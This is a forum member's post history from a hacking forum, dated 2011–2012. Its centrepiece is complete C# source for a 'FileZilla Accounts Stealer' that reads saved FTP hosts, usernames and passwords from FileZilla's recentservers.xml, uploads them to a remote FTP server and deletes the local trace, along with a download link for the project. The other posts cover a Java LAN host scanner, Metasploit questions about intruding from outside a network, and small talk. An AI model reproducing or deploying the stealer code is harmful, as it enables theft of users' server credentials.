Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - CorruptedByte

Pages: [1] 2
1
I wrote a similar code but for ftp trying to connect with the anonymous user, it's very useful but more if you have credits in shodan for the querys

2
.NET Framework / [SourceCode]FileZilla Accounts Stealer
« on: February 18, 2012, 07:40:49 pm »
Hi, here is a code in C# to save all the accounts of filezilla in a text document and send to a FTP server. I have split the program in 3 classes.

Main class using methods of the other classes:
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.NetworkInformation;
using System.IO;
using System.Xml;
using System.Threading;

namespace FileZillaStealer
{
    class Stealer
    {
        static void Main(string[] args)
        {
            string sLogs = IPGlobalProperties.GetIPGlobalProperties().HostName +"Logs.txt";
            AccountStealer StealAccounts = new AccountStealer();
            FTP SendAccounts = new FTP();
            StealAccounts.FileZillaAccounts(sLogs);
            SendAccounts.Send("ftp.server.com", "/public_html/", "user", "pass", sLogs);
            System.IO.File.Delete(sLogs);
        }
    }
}

Metod to send the text file to the FTP Server:
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;

namespace FileZillaStealer
{
    class FTP
    {
        public void Send(string sHost, string sDir, string sUser, string sPass, string sFile)
        {
            string ftpHostDirFile = "ftp://" + sHost +sDir +sFile;
            FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpHostDirFile);
            ftp.Credentials = new NetworkCredential(sUser, sPass);
            ftp.KeepAlive = true;
            ftp.UseBinary = true;
            ftp.Method = WebRequestMethods.Ftp.UploadFile;
            FileStream fs = File.OpenRead(sFile);
            byte[] buffer = new byte[fs.Length];
            fs.Read(buffer, 0, buffer.Length);
            fs.Close();
            Stream ftpstream = ftp.GetRequestStream();
            ftpstream.Write(buffer, 0, buffer.Length);
            ftpstream.Close();
        }
    }
}

Metod for save the accounts
Code: [Select]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Xml;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;

namespace FileZillaStealer
{
    class AccountStealer
    {
        public void FileZillaAccounts(string sLogsPath)
        {
            XmlDocument xmlAccountsFile = new XmlDocument();
            string sFilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\FileZilla\\recentservers.xml";
            xmlAccountsFile.Load(sFilePath);
            XmlNodeList xmlRecentServers = xmlAccountsFile.GetElementsByTagName("RecentServers");
            XmlNodeList xmlList = ((XmlElement)xmlRecentServers[0]).GetElementsByTagName("Server");
            string sAccount;
            foreach (XmlElement nodo in xmlList)
            {
                XmlNodeList xmlHost = nodo.GetElementsByTagName("Host");
                XmlNodeList xmlPort = nodo.GetElementsByTagName("Port");
                XmlNodeList xmlUser = nodo.GetElementsByTagName("User");
                XmlNodeList xmlPass = nodo.GetElementsByTagName("Pass");
                sAccount = string.Format("Host: {0} Port: {1} User: {2} Pass: {3}", xmlHost[0].InnerText, xmlPort[0].InnerText, xmlUser[0].InnerText, xmlPass[0].InnerText);
                FileStream fsLogs = new FileStream(sLogsPath, FileMode.OpenOrCreate, FileAccess.Write);
                fsLogs.Close();
                StreamWriter swAccount = File.AppendText(sLogsPath);
                swAccount.WriteLine(sAccount);
                swAccount.Close();
            }
        }
    }

VS2010 Project:

Download:
http://www.mediafire.com/?2u2sns4d3rwdple
Password:
Backroot.org

4
Hacking and Security / Re: F-Secure Malware Analysis Course
« on: January 04, 2012, 06:38:55 pm »
I love you <3

I love him more  :P .

That's awesome dude thanks

5
General discussion / Re: Close TPC/IP connections with remote ip and port
« on: January 03, 2012, 03:37:38 am »
thanks, that will be very useful  ;)

6
General discussion / Re: Close TPC/IP connections with remote ip and port
« on: December 30, 2011, 08:31:55 pm »
yes thats the other solution kill the proccess of the connection like kill the process of a malware or a msn client or other tpc/ip connection. waiting for other answers, thanks

7
General discussion / Close TPC/IP connections with remote ip and port
« on: December 30, 2011, 07:45:10 pm »
hi, how can i close the connections from the netstat information? in the netstat information appears connections like this:


Conexiones activas

  Proto  Direcci¢n local        Direcci¢n remota       Estado
  TCP    0.0.0.0:135            CorruptedPC:0          LISTENING
  TCP    0.0.0.0:445            CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1025           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1026           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1027           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1028           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1030           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:1031           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:3306           CorruptedPC:0          LISTENING
  TCP    0.0.0.0:5357           CorruptedPC:0          LISTENING
  TCP    127.0.0.1:1029         CorruptedPC:5354       ESTABLISHED
  TCP    127.0.0.1:1035         CorruptedPC:27015      ESTABLISHED
  TCP    127.0.0.1:1786         CorruptedPC:1787       ESTABLISHED
  TCP    127.0.0.1:1787         CorruptedPC:1786       ESTABLISHED
  TCP    127.0.0.1:1790         CorruptedPC:1791       ESTABLISHED
  TCP    127.0.0.1:1791         CorruptedPC:1790       ESTABLISHED
  TCP    127.0.0.1:1940         CorruptedPC:5354       ESTABLISHED
  TCP    127.0.0.1:1944         CorruptedPC:5354       ESTABLISHED
  TCP    127.0.0.1:1945         CorruptedPC:5354       ESTABLISHED
  TCP    127.0.0.1:1952         CorruptedPC:27015      ESTABLISHED
  TCP    127.0.0.1:5354         CorruptedPC:0          LISTENING
  TCP    127.0.0.1:5354         CorruptedPC:1029       ESTABLISHED
  TCP    127.0.0.1:5354         CorruptedPC:1940       ESTABLISHED
  TCP    127.0.0.1:5354         CorruptedPC:close-combat  ESTABLISHED
  TCP    127.0.0.1:5354         CorruptedPC:1945       ESTABLISHED
  TCP    127.0.0.1:27015        CorruptedPC:0          LISTENING
  TCP    127.0.0.1:27015        CorruptedPC:1035       ESTABLISHED
  TCP    127.0.0.1:27015        CorruptedPC:1952       ESTABLISHED
  TCP    192.168.1.108:139      CorruptedPC:0          LISTENING
  TCP    192.168.1.108:1905     channel-ji-13-01-snc7:https  ESTABLISHED
  TCP    192.168.1.108:1953     a63-80-4-50:http       CLOSE_WAIT
  TCP    192.168.1.108:2350     www-14-05-prn1:https   TIME_WAIT
  TCP    192.168.1.108:2591     nuq04s07-in-f11:http   ESTABLISHED
  TCP    192.168.1.108:2597     pz-in-f120:http        ESTABLISHED
  TCP    192.168.1.108:2600     www-15-06-prn1:https   ESTABLISHED
  TCP    192.168.1.108:2614     nuq04s07-in-f2:http    ESTABLISHED
  TCP    192.168.1.108:2627     nuq04s07-in-f12:https  ESTABLISHED
  TCP    192.168.1.108:2638     nuq04s07-in-f10:https  ESTABLISHED


 and others with the remote ip, how can i close the connection with the remote ip and the port?

I need program this in c #, any idea?


thanks  ;)

8
Hacking and Security / Re: Just share Link
« on: December 16, 2011, 06:38:48 pm »
I recommend all the Vivek's videos especially the megaprimer exploit research, this dude is awesome

9
Java / LNScaner (Local Network Scanner)
« on: December 13, 2011, 07:30:52 am »
Hi  :) , I started learning JAVA and I made a small code in java to scan the connected hosts in a local network. I wrote only 3 methods for this, the first one  scan the entire network looking for live hosts, the second one scan in a range of IPs and the last one, return the hostname for one IP.  :)

LNScanner
Code: [Select]
import java.io.*;
import java.net.*;

public class LNScanner
{
    public static void HostName(String IP)
        {
            try
                {
                    InetAddress Host = InetAddress.getByName(IP);
                    System.out.println(Host.getHostName());
                    System.out.println(Host.getLoopbackAddress());
                }
            catch(UnknownHostException UHE)
                {
                    System.out.println(UHE.toString());
                }
        }
   
    public static void ScanAll()
        {
            int Host = 1, Lives = 0;
            while(Host < 256)
                {
                    try
                        {
                            InetAddress in;
                            in = InetAddress.getByName("192.168.1."+Host);
                            if(in.isReachable(3000))
                                {
                                    System.out.println("IP: 192.168.1."+Host+" Hostname: "+in.getHostName());
                                    Lives++;
                                }
                        }
                            catch(UnknownHostException UHE)
                                {
                                    System.out.println(UHE.toString());
                                }
                            catch(IOException IO)
                                {
                                    System.out.println(IO.toString());
                                }
                            Host++;
                }
                     System.out.println("Cantidad de Hosts en la red: " +Lives);
    }
   
    public static void RangeScan(int Start, int End)
        {
            int Host = Start, Lives = 0;
            while(Host <= End)
                {
                    try
                        {
                            InetAddress in;
                            in = InetAddress.getByName("192.168.1."+Host);
                            if(in.isReachable(3000))
                                {
                                    System.out.println("IP: 192.168.1."+Host+" Hostname: "+in.getHostName());
                                    Lives++;
                                }
                        }
                            catch(UnknownHostException UHE)
                                {
                                    System.out.println(UHE.toString());
                                }
                            catch(IOException IO)
                                {
                                    System.out.println(IO.toString());
                                }
                            Host++;
                }
                     System.out.println("Cantidad de Hosts en la red: " +Lives);
        }
}

Main
Code: [Select]
import java.util.*;
class Main
{
    public static void main (String[] args)
        {
            LNScanner Scan = new LNScanner();
            Scanner Read = new Scanner(System.in);
            System.out.println("                                LNScanner");
            System.out.println("Select an option");
            System.out.println("1.- Scan for live hosts in the local network");
            System.out.println("2.- Scan a range, for live hosts in the local network");
            System.out.println("3.- Scan IP for know the hostname");
            int Op = Read.nextInt();
            switch(Op)
            {
                case 1:
                    System.out.println("Starting the scan");
                    Scan.ScanAll();
                    break;
                case 2:
                    System.out.println("Enter the range of the scan");
                    System.out.print("Start in 192.168.1.");
                    int Start = Read.nextInt();
                    System.out.print("End in 192.168.1.");
                    int End = Read.nextInt();
                    System.out.println("Starting the scan");
                    Scan.RangeScan(Start, End);
                    break;
                case 3:
                    System.out.println("Enter the IP address:");
                    String IP = Read.next();
                    System.out.println("Starting the scan");
                    Scan.HostName(IP);
                    break;
                default:
                    System.out.println("Enter a valid option");
                    break;
            }
        }
}

10
Found it on the Webs / Re: Any Brits here want a job?
« on: December 09, 2011, 06:30:29 pm »
the Password is: Pr0t3ct!on#cyber_security@12*12.2011+

but u need be british for the job XD

11
General discussion / Re: Metasploit Question
« on: November 17, 2011, 06:46:25 pm »

Well first tell me what do you mean by public ip is the ip from the router not of a host.
 
if there is a router then its not your local domain.
there may be some subneted network and you are must be in one of them.
but still you can access other domain host if you its ip.
no big deal.
 
first check out your main network topology.
now if you don't know about host ips then first scan for active router, thats how you will get ip of router then scan for particular network in which your target is.
 
then get access to if if you know the password :)

I mean, how i can do a pentesting of the outside of the network?, so the only attack vector to do a intrusion is the public IP (IP of the router),  I have the IP, users, passwords, etc.

But i want to do a intrusion only with the IP

12
General discussion / Re: Metasploit Question
« on: November 17, 2011, 12:45:20 am »
oh, thanks ;) .

but here another question, how can i access a specific host in a local network through the router?, because the public IP is the IP from the router not of a host in the network, can i do this?

13
General discussion / Metasploit Question
« on: November 16, 2011, 10:29:39 pm »
Hi, my question is, metasploit framework is only for a local penetration testing? i have this question because in everywhere i found tutorials for metasploit framework but in local networks, and if this is only for local network, how I can do a intrusion in a network from the outside? for example in the local network where i work.

This question is not for a malicious purpose is only because the manager of i work want a report of the security of the network.

14
Java / Re: [Help] Java development
« on: November 10, 2011, 06:17:23 pm »
with aplication, you mean IDE?
In Ubuntu/Linux I use Geany but in windows you can use JCreator or NetBeans

15
Other / Re: Free UML designing tool
« on: October 21, 2011, 08:34:49 pm »


Ok  ;)

Pages: [1] 2